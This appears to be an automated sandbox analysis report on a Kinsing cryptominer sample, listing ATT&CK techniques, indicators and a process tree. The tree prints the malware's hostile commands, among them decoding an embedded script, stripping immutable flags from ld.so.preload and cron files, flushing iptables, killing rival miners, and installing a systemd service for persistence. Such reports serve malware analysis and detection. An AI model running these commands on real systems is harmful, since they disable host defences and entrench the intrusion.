kinsing | da842871565f281268607285b7d9bade31be7ff762f5c94de935e3feea77b7b6

privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/ld.so.preload	bash

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
2195	chmod
2204	chmod
2206	chmod
2211	chmod
2213	chmod
2219	chmod
740	chmod
2193	chmod
2220	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/etc/data/kinsing	2221	bash

Flushes firewall rules 1 TTPs 1 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

defense_evasion

Disable or Modify System Firewall

T1562.004

pid	Process
747	iptables

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

Sudo and Sudo Caching

T1548.003

pid	Process
1951	sudo

Creates/modifies Cron job 1 TTPs 64 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

persistence privilege_escalation

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.n9Kchr	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.1B6b4J	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.bl6dcx	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.HqlcaO	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.9Sft9a	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.z0Elz6	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.3FdC0i	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.nWPmSr	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.rJ39yj	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.qkjUEc	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.6mTnUh	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.6zB3a5	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.BihwrV	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.p61ZNe	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.oT0v1W	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.jwujcP	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.pp9099	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.7S6uh7	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.H8K0A7	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Gfg4Ss	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.iojs08	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Tgt7Wl	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.2srSOQ	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.MFGWHO	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.dphyeg	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.uvPFwH	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.mySKfC	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.WI1BQA	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.i1KzxP	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.fUXeAf	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.67lfU7	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.OHbzlY	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.iU6hDh	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Z23JES	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.Yk3s2A	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.x1OnzV	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ttB8mi	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.L0Bmju	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.yGS1Pg	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.kwJn6T	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.iXoiAb	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.yUr7Bk	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.uM9LN7	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.ez8SXj	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.tO4RxH	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.LM4ny2	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.nh3EkA	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.4jWO25	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.UAm6Pp	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.8yB7aL	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.xaI7GG	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.Yg0PJt	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.JT4W6Z	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.GiPBgv	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.NiBbvc	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.PP8JIQ	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.PDL4To	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VBPCwg	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.rSyLQR	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.d47bzp	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.DAlFY2	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.JTfCRJ	Process not Found
File opened for modification	/var/spool/cron/crontabs/tmp.dAm7ca	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.gjCwOv	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/lib/systemd/system/bot.service	bash

Removes the immutable protection flag from a file 1 TTPs 50 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1995	xargs
2015	xargs
2032	xargs
2122	xargs
2131	xargs
2160	xargs
743	chattr
2039	xargs
2045	xargs
2051	xargs
2129	sed
1989	xargs
2005	xargs
2027	xargs
2095	xargs
2098	xargs
2119	xargs
2120	sed
2171	xargs
744	chattr
1979	xargs
2104	xargs
2123	sed
2143	xargs
2182	xargs
2099	sed
1984	xargs
2000	xargs
2057	xargs
2063	xargs
2107	xargs
2148	xargs
741	chattr
2102	sed
2110	xargs
2126	sed
2020	xargs
2101	xargs
2108	sed
2111	sed
2113	xargs
2117	sed
2125	xargs
2128	xargs
1954	uname
2010	xargs
2096	sed
2105	sed
2187	xargs
1974	xargs

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
725	base64

Discovers running processes 1 TTPs 12 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
2016	ps
2023	ps
2091	ps
1996	ps
2011	ps
2028	ps
2139	ps
2144	ps
2183	ps
1991	ps
2001	ps
2006	ps

Reads CPU attributes 1 TTPs 64 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/149/status	pkill
File opened for reading	/proc/717/status	pkill
File opened for reading	/proc/121/status	ps
File opened for reading	/proc/72/cmdline	ps
File opened for reading	/proc/80/cmdline	ps
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/378/cmdline	pkill
File opened for reading	/proc/12/stat	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/79/cmdline	pkill
File opened for reading	/proc/706/cmdline	ps
File opened for reading	/proc/328/status	ps
File opened for reading	/proc/175/status	pkill
File opened for reading	/proc/174/cmdline	ps
File opened for reading	/proc/19/status	pkill
File opened for reading	/proc/378/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/81/status	pkill
File opened for reading	/proc/707/cmdline	ps
File opened for reading	/proc/707/stat	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/111/status	ps
File opened for reading	/proc/121/status	ps
File opened for reading	/proc/76/status	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/2032/stat	ps
File opened for reading	/proc/717/cmdline	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/121/cmdline	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/706/stat	ps
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/159/status	pkill
File opened for reading	/proc/70/status	pkill
File opened for reading	/proc/244/status	pkill
File opened for reading	/proc/379/status	pkill
File opened for reading	/proc/417/cmdline	pkill
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/174/cmdline	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/333/cmdline	pkill
File opened for reading	/proc/1999/cmdline	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/670/status	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/2094/cmdline	ps
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/707/status	pkill
File opened for reading	/proc/18/cmdline	ps
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/363/status	ps
File opened for reading	/proc/80/status	pkill
File opened for reading	/proc/2028/status	ps
File opened for reading	/proc/675/cmdline	pkill
File opened for reading	/proc/36/cmdline	pkill
File opened for reading	/proc/22/status	pkill

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1870	ls
2326	sed

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.p4pLH0	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_comment-insertion.sh
File opened for modification	/tmp/tmp.2646uw3HsI/embedded.sh	21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_comment-insertion.sh

/tmp/21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_comment-insertion.sh
/tmp/21c9ee9681865b3f6a20ac8149a5b7d54ab76ad22ab02ba23c4261ee2a303aeb_comment-insertion.sh
1⤵
- Writes file to tmp directory
PID:711
- /bin/mktemp
  mktemp -d
  2⤵
  PID:722
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:725
- /usr/bin/python3
  python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "
  2⤵
  PID:726
- /bin/chmod
  chmod +x /tmp/tmp.2646uw3HsI/embedded.sh
  2⤵
  - File and Directory Permissions Modification
  PID:740

/bin/bash
bash /tmp/tmp.2646uw3HsI/embedded.sh
1⤵
- Modifies the dynamic linker configuration file
- Executes dropped EXE
- Modifies systemd
PID:711
- /usr/bin/chattr
  chattr -i /etc/ld.so.preload
  2⤵
  - Removes the immutable protection flag from a file
  PID:741
- /bin/rm
  rm -f /etc/ld.so.preload
  2⤵
  PID:742
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:743
- /usr/bin/chattr
  chattr -ia /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:744
- /sbin/iptables
  iptables -F
  2⤵
  - Flushes firewall rules
  PID:747
- /bin/rm
  rm -rf /usr/bin/nginxd
  2⤵
  PID:750
- /bin/rm
  rm -rf /usr/bin/nginxd
  2⤵
  PID:751
- /bin/rm
  rm -rf /usr/bin/softirq
  2⤵
  PID:752
- /bin/grep
  grep exe
  2⤵
  PID:755
- /bin/ls
  ls -latrh /proc/1
  2⤵
  PID:754
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:757
- /bin/grep
  grep -q systemd
  2⤵
  PID:759
- /bin/grep
  grep -q deleted
  2⤵
  PID:761
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:763
- /bin/grep
  grep exe
  2⤵
  PID:766
- /bin/ls
  ls -latrh /proc/10
  2⤵
  PID:765
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:768
- /bin/grep
  grep -q systemd
  2⤵
  PID:770
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:772
- /bin/grep
  grep exe
  2⤵
  PID:775
- /bin/ls
  ls -latrh /proc/11
  2⤵
  PID:774
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:777
- /bin/grep
  grep -q systemd
  2⤵
  PID:779
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:781
- /bin/grep
  grep exe
  2⤵
  PID:784
- /bin/ls
  ls -latrh /proc/111
  2⤵
  PID:783
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:786
- /bin/grep
  grep -q systemd
  2⤵
  PID:788
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:790
- /bin/grep
  grep exe
  2⤵
  PID:793
- /bin/ls
  ls -latrh /proc/12
  2⤵
  PID:792
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:795
- /bin/grep
  grep -q systemd
  2⤵
  PID:797
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:799
- /bin/grep
  grep exe
  2⤵
  PID:802
- /bin/ls
  ls -latrh /proc/121
  2⤵
  PID:801
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:804
- /bin/grep
  grep -q systemd
  2⤵
  PID:806
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:808
- /bin/grep
  grep exe
  2⤵
  PID:811
- /bin/ls
  ls -latrh /proc/122
  2⤵
  PID:810
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:813
- /bin/grep
  grep -q systemd
  2⤵
  PID:815
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:817
- /bin/grep
  grep exe
  2⤵
  PID:820
- /bin/ls
  ls -latrh /proc/13
  2⤵
  PID:819
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:822
- /bin/grep
  grep -q systemd
  2⤵
  PID:824
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:826
- /bin/grep
  grep exe
  2⤵
  PID:829
- /bin/ls
  ls -latrh /proc/14
  2⤵
  PID:828
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:831
- /bin/grep
  grep -q systemd
  2⤵
  PID:833
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:835
- /bin/grep
  grep exe
  2⤵
  PID:838
- /bin/ls
  ls -latrh /proc/149
  2⤵
  PID:837
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:840
- /bin/grep
  grep -q systemd
  2⤵
  PID:842
- /bin/grep
  grep -q deleted
  2⤵
  PID:844
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:846
- /bin/ls
  ls -latrh /proc/15
  2⤵
  PID:848
- /bin/grep
  grep exe
  2⤵
  PID:849
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:851
- /bin/grep
  grep -q systemd
  2⤵
  PID:853
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:855
- /bin/grep
  grep exe
  2⤵
  PID:858
- /bin/ls
  ls -latrh /proc/159
  2⤵
  PID:857
